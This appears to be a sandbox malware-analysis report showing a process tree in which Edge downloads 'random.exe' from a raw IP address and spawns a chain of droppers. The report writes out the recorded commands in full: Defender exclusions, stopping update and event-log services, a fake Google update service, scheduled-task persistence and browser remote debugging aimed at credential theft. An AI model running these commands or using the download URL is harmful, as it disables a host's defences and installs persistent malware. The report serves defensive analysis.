PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 5392	5556	msedge.exe	85
PID 5556 wrote to memory of 5392	5556	msedge.exe	85
PID 5556 wrote to memory of 5392	5556	msedge.exe	85
PID 5556 wrote to memory of 5392	5556	msedge.exe	85
PID 5556 wrote to memory of 5392	5556	msedge.exe	85
PID 5556 wrote to memory of 5392	5556	msedge.exe	85
PID 5556 wrote to memory of 5392	5556	msedge.exe	85
PID 5556 wrote to memory of 5392	5556	msedge.exe	85
PID 5556 wrote to memory of 5392	5556	msedge.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://176.113.115.7/mine/random.exe
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x36c,0x7ffe94b3f208,0x7ffe94b3f214,0x7ffe94b3f220
  2⤵
  PID:5524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1668,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=2136 /prefetch:11
  2⤵
  - Downloads MZ/PE file
  PID:5160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2108,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=2052 /prefetch:2
  2⤵
  PID:4472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2596,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=2748 /prefetch:13
  2⤵
  PID:5392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3408,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=3420 /prefetch:1
  2⤵
  PID:5124
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3412,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:1
  2⤵
  PID:4484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4912,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=4932 /prefetch:14
  2⤵
  PID:5264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4872,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:14
  2⤵
  PID:2436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5792,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:14
  2⤵
  PID:4448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=5744,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:1
  2⤵
  PID:5768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6128,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:14
  2⤵
  PID:2892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6452,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:14
  2⤵
  PID:3868
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
    cookie_exporter.exe --cookie-json=1100
    3⤵
    PID:5328
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6456,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:14
  2⤵
  PID:4764
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6456,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:14
  2⤵
  PID:4080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5684,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:3584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6732,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=6472 /prefetch:14
  2⤵
  PID:4216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6476,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=6740 /prefetch:14
  2⤵
  PID:4940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --field-trial-handle=6776,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:1
  2⤵
  PID:2100
- C:\Users\Admin\Downloads\random.exe
  "C:\Users\Admin\Downloads\random.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  PID:5328
- - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
    "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Downloads MZ/PE file
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:388
  - - C:\Users\Admin\AppData\Local\Temp\10003000101\cfeccaca8c.exe
      "C:\Users\Admin\AppData\Local\Temp\10003000101\cfeccaca8c.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:5468
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5320
  - - C:\Users\Admin\AppData\Local\Temp\10337510101\UZPt0hR.exe
      "C:\Users\Admin\AppData\Local\Temp\10337510101\UZPt0hR.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      PID:5812
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
        5⤵
        
        PID:5088
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4936
    - - C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        5⤵
        Downloads MZ/PE file
        Adds Run key to start application
        
        PID:2676
      - C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
        
        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
        6⤵
        Sets service image path in registry
        Executes dropped EXE
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:2340
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath C:\
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:14704
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Remove-MpPreference -ExclusionPath C:\
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3132
      - C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
        6⤵
        Executes dropped EXE
        
        PID:3532
        
        C:\Users\Admin\AppData\Local\Temp\{98e41f6e-81fb-4dc5-a8ec-48cebf91544e}\1ef04c27.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{98e41f6e-81fb-4dc5-a8ec-48cebf91544e}\1ef04c27.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
        7⤵
        Executes dropped EXE
        Checks for VirtualBox DLLs, possible anti-VM trick
        System Location Discovery: System Language Discovery
        
        PID:10396
        
        C:\Users\Admin\AppData\Local\Temp\{b470fa9a-8f43-4734-a69c-84c90c3f8693}\b3d59d1e.exe
        
        C:/Users/Admin/AppData/Local/Temp/{b470fa9a-8f43-4734-a69c-84c90c3f8693}/\b3d59d1e.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
        8⤵
        Drops file in Drivers directory
        Sets service image path in registry
        Executes dropped EXE
        Impair Defenses: Safe Mode Boot
        Loads dropped DLL
        Adds Run key to start application
        Enumerates connected drives
        Writes to the Master Boot Record (MBR)
        Checks for VirtualBox DLLs, possible anti-VM trick
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:11292
  - - C:\Users\Admin\AppData\Local\Temp\10340260101\0f03eb8d51.exe
      "C:\Users\Admin\AppData\Local\Temp\10340260101\0f03eb8d51.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5136
  - - C:\Users\Admin\AppData\Local\Temp\10429610101\9sWdA2p.exe
      "C:\Users\Admin\AppData\Local\Temp\10429610101\9sWdA2p.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5300
  - - C:\Users\Admin\AppData\Local\Temp\10432230101\but2.exe
      "C:\Users\Admin\AppData\Local\Temp\10432230101\but2.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:6852
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "PCI Bus Driver" /tr C:\Drivers\pcidrv.exe /sc minute /mo 1 /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:7108
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "PCI Bus Driver Startup" /tr C:\Drivers\pcidrv.exe /sc onstart /ru SYSTEM /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:5944
    - - C:\Drivers\pcidrv.exe
        
        C:\Drivers\pcidrv.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4836
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /C timeout /t 2 && del C:\Users\Admin\AppData\Local\Temp\10432230101\but2.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3500
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:7696
  - - C:\Users\Admin\AppData\Local\Temp\10443260101\qhjMWht.exe
      "C:\Users\Admin\AppData\Local\Temp\10443260101\qhjMWht.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:13728
  - - C:\Users\Admin\AppData\Local\Temp\10495410101\WmP4vZj.exe
      "C:\Users\Admin\AppData\Local\Temp\10495410101\WmP4vZj.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:12212
    - - C:\Users\Admin\AppData\Local\Temp\10495410101\WmP4vZj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10495410101\WmP4vZj.exe"
        5⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:12292
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:14132
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:14400
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:14584
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:14416
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:14576
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:14764
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:15020
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:15136
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:15176
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4468
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:1180
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:5404
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
        6⤵
        Launches sc.exe
        
        PID:1176
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:15284
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:14872
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
        6⤵
        Launches sc.exe
        
        PID:14880
  - - C:\Users\Admin\AppData\Local\Temp\10497130101\fd67EIq.exe
      "C:\Users\Admin\AppData\Local\Temp\10497130101\fd67EIq.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:13476
  - - C:\Users\Admin\AppData\Local\Temp\10505920101\SOlxEHb.exe
      "C:\Users\Admin\AppData\Local\Temp\10505920101\SOlxEHb.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:8468
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        Checks SCSI registry key(s)
        
        PID:8832
  - - C:\Users\Admin\AppData\Local\Temp\10507090101\SvBfWqP.exe
      "C:\Users\Admin\AppData\Local\Temp\10507090101\SvBfWqP.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:9064
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:9492
  - - C:\Users\Admin\AppData\Local\Temp\10510180101\amnew.exe
      "C:\Users\Admin\AppData\Local\Temp\10510180101\amnew.exe"
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:9576
    - - C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
        
        "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
        5⤵
        Downloads MZ/PE file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:7996
      - C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:6824
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        
        PID:5092
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:11152
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe7620dcf8,0x7ffe7620dd04,0x7ffe7620dd10
        9⤵
        
        PID:11212
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1952,i,1395765542094458176,1059595020705907266,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=1936 /prefetch:2
        9⤵
        
        PID:12244
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2216,i,1395765542094458176,1059595020705907266,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=2228 /prefetch:11
        9⤵
        
        PID:5276
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2352,i,1395765542094458176,1059595020705907266,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=2368 /prefetch:13
        9⤵
        
        PID:12324
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3200,i,1395765542094458176,1059595020705907266,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3212 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:12764
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3236,i,1395765542094458176,1059595020705907266,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3360 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:12740
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4276,i,1395765542094458176,1059595020705907266,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=4288 /prefetch:9
        9⤵
        Uses browser remote debugging
        
        PID:3880
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4640,i,1395765542094458176,1059595020705907266,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=4664 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:13004
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5160,i,1395765542094458176,1059595020705907266,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5156 /prefetch:14
        9⤵
        
        PID:6916
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        
        PID:14244
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
